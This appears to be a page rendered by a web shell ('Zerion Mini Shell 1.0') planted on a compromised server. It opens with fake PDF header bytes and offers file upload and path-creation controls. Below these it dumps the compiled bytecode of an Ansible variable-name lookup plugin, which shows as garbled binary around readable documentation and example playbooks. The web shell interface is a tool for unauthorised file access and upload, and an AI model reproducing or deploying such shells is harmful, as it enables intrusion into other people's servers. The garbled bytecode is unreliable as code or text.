%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/plugins/lookup/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/plugins/lookup/__pycache__/varnames.cpython-39.pyc

a

�)g>	�@spddlmZmZmZeZdZdZdZddl	Z	ddl
mZddlm
Z
ddlmZdd	lmZGd
d�de�ZdS)�)�absolute_import�division�print_functionaU
    name: varnames
    author: Ansible Core Team
    version_added: "2.8"
    short_description: Lookup matching variable names
    description:
      - Retrieves a list of matching Ansible variable names.
    options:
      _terms:
        description: List of Python regex patterns to search for in variable names.
        required: True
am
- name: List variables that start with qz_
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.varnames', '^qz_.+')}}"
  vars:
    qz_1: hello
    qz_2: world
    qa_1: "I won't show"
    qz_: "I won't show either"

- name: Show all variables
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.varnames', '.+')}}"

- name: Show variables with 'hosts' in their names
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.varnames', 'hosts')}}"

- name: Find several related variables that end specific way
  ansible.builtin.debug: msg="{{ lookup('ansible.builtin.varnames', '.+_zone$', '.+_location$') }}"

zQ
_value:
  description:
    - List of the variable names requested.
  type: list
N)�AnsibleError)�	to_native)�string_types)�
LookupBasec@seZdZddd�ZdS)�LookupModuleNc
Ks�|durtd��|j||d�g}t|���}|D]�}t|t�sTtd|t|�f��zt�|�}Wn8t	y�}z td|t
|�f��WYd}~n
d}~00|D]}	|�|	�r�|�|	�q�q2|S)Nz No variables available to search)Zvar_optionsZdirectz<Invalid setting identifier, "%s" is not a string, it is a %sz,Unable to use "%s" as a search parameter: %s)
rZset_options�list�keys�
isinstancer�type�re�compile�	Exceptionr�search�append)
�selfZtermsZ	variables�kwargs�retZvariable_namesZterm�name�eZvarname�r�C/usr/lib/python3.9/site-packages/ansible/plugins/lookup/varnames.py�run8s 
*
zLookupModule.run)N)�__name__�
__module__�__qualname__rrrrrr	6sr	)Z
__future__rrrr
Z
__metaclass__Z
DOCUMENTATIONZEXAMPLESZRETURNrZansible.errorsrZansible.module_utils._textrZansible.module_utils.sixrZansible.plugins.lookuprr	rrrr�<module>s


Zerion Mini Shell 1.0